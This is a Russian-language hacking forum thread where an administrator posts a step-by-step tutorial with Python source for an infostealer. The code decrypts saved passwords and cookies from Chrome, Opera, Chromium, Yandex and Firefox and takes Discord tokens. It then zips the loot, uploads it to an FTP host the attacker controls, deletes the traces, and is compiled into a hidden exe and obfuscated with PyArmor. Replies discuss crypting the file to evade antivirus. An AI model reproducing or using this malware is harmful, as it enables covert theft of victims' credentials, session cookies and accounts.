Мануал Пишем свой stealer на Python с отправкой на FTP-сервер

  • Автор темы Bratec
  • Дата начала
  • Ответы 4
  • Просмотры 1K

Bratec

Главный консультант по форуму :)
Команда форума
ГЛАВНЫЙ МОДЕРАТОР
Админ

Bratec

Главный консультант по форуму :)
Команда форума
ГЛАВНЫЙ МОДЕРАТОР
Админ

Для начала нам нужен FTP сервер, я буду юзать
Пожалуйста , Вход или Регистрация чтобы увидеть ссылку!
по скольку он бесплатный.
Итак, для начала нам нужно импортировать модули
Python:
import os
import sqlite3
import win32crypt
import shutil
import zipfile
import ftplib
Тут все просто, модуль os для работы с директориями и удалением "следов". Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями , zipfile для работы с архивом zip. И модуль ftplib соответственно для отправки архива с паролями на ftp-сервер
Далее нам нужно определить юзера ПК, ведь каждый записан в системе по своему
Python:
user_name = os.getlogin()
Так, мы узнали юзера ,а что же дальше? А дальше мы должны начать искать и расшифровывать БД, а также искать куки
Python:
def Chrome():
    text = 'Passwords Google_Chrome:' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
   
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
    return text
file = open(os.getenv("APPDATA") + '\\pass_google_chrome.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

def Chrome_cockie():
   textc = 'Cookies Chrome:' + '\n'
   textc += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные
file.write(str(Chrome_cockie()) + '\n')
file.close()

def Opera():
    texto = 'Passwords Opera:' + '\n'
    texto += 'URL | LOGIN | PASSWORD' + '\n'
    if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
        shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\pass_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()

def chromium():
   textch = 'Chromium Passwords:' + '\n'
   textch += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textch += url + ' | ' + login + ' | ' + password + '\n'
               return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n')
file.close()

def Yandex():
   texty = 'YANDEX Cookies:' + '\n'
   texty += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           texty += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return texty
file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")
file.write(str(Yandex()) + '\n')
file.close()

def Firefox():
   textf = ''
   textf += 'Firefox Cookies:' + '\n'
   textf += 'URL | COOKIE | COOKIE NAME' + '\n'
   for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
       for name in dirs:
           conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
           cursor = conn.cursor()
           cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
           data = cursor.fetchall()
           for i in range(len(data)):
               url, cookie, name = data[i]
               textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'
       break
   return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + '\n')
file.close()

def chromiumc():
   textchc = ''
   textchc += 'Chromium Cookies:' + '\n'
   textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + '\n')
file.close()

def Opera_c():
    textoc = '\n' + 'Cookies Opera:' + '\n'
    textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
      shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
      conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
      cursor = conn.cursor()
      cursor.execute("SELECT * from cookies")
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
    return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n')
file.close()

def discord_token():
   if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
       token = ''
       conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
       cursor = conn.cursor()
       for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
           token = row[1].decode("utf-16")
       conn.close()
       if token != '':
           return token
       else:
           return 'Discord exists, but not logged in'
   else:
       return 'Not found'
ds_token = discord_token()
ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n'
file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")
file.write(str(discord_token()) + '\n')
file.close()
Я не стал долго е#ать себе и вам мозги, все базы расшифровываются одинаково,только пути разные. А это самые популярные браузеры, которыми пользуются юзеры, ну и как же без дискорда?)
Так, мы расшифровали БД и получили куки из браузеров и сохранили их на ПК жертвы. Но нам нужно их как-то получить и мы их получим! Добавим все текстовики в архив и отправим их к себе на сервер!
Python:
zname=r'D:\LOG.zip'
newzip=zipfile.ZipFile(zname,'w')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_google_chrome.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\google_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\yandex_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_opera.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\opera_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\discord_token.txt')
newzip.close()
Всё, все текстовики с паролями сохранены в одном архиве! Который находится на диске D:// под названием LOG.zip (можете запихнуть его подальше и под своим именем)
Ну и теперь отправим его к нам на сервер, для этого конечно же нужен: хост, логин и пароль
Python:
localfile = r"D:\LOG.zip"

ftp_host = 'files.000webhost.com'
ftp_login = 'Ваш логин к сайту'
ftp_pass = 'Ваш пароль к FTP'
try:
    ftp = ftplib.FTP(ftp_host, ftp_login, ftp_pass)
except:
    print('Error! FTP not connected')
ftp.cwd('base_stael')
fp = open(localfile, "rb")
try:
    ftp.storbinary('STOR %s' % os.path.basename(localfile), fp, 1024)
    fp.close()
    ftp.close()
except:
    print("Error! File not download")
try:
    os.remove("D:\LOG.zip")
except:
    print('File not removed!')
Также я поместил архив в переменную localfile для работы с ним!тТакже, так как я писал этот скрипт для себя, то я еще добавил перехват ошибок try и except. Но вы можете их убрать, потому что я тестил скрипт и все работает
Так,ьstealer готов, но не у всех же есть python, поэтому мы его конвертируем в exe. Вот так
Безымянны0й.jpg
Тут все легко
w - запуск exe без консоли
F - конвертировать в один файл
И имя фала нужно
И вот, что вышло
Безымянный2.jpg
И он естественно без иконки, можете еще и иконку добавить
Запускаем! И вот результат
Безымянный3.jpg
И вот в нашем каталоге лежит наш ZIP с паролями, скачаем и посмотрим
Текстовки.jpg
И вот все пароли,которые мы стрипизднули у юзверя,все просто имея минимальные навыки программирования!
Также можно кодировать наш .py тулзой Pyarmor
После кодирования будет вот такое:
vertpy1.png
©Копипаст©
 

piro1

Пользователь
Пользователь

piro1

Пользователь
Пользователь

Спасибо за статью .

Хотел поинтересоваться , по поводу последней строчки " Pyarmor " - я правильно понимаю , код можно конверт. этой библиотекой в base64 и при запуске , код уже расшифрует всё добро на пк и запустит ?
 

Bratec

Главный консультант по форуму :)
Команда форума
ГЛАВНЫЙ МОДЕРАТОР
Админ

Bratec

Главный консультант по форуму :)
Команда форума
ГЛАВНЫЙ МОДЕРАТОР
Админ

Спасибо за статью .

Хотел поинтересоваться , по поводу последней строчки " Pyarmor " - я правильно понимаю , код можно конверт. этой библиотекой в base64 и при запуске , код уже расшифрует всё добро на пк и запустит ?
Да, PyArmor служит для 'шифрования' вашего кода. Тобишь, если кто-то попытаеться конвертировать ваш exe обратно в py, то на выходе они получат base64, а не исходник.
 

shymka

Пользователь
Пользователь

shymka

Пользователь
Пользователь

Вопрос. А если у жертвы нету установленного пайтона, как подтянутся все зависимости от модулей os, scapy... и еще думаю надо это дополнить криптом, чтоб антивирусы не палили файл. Например с помощью Aegis Crypter
 
Сверху Снизу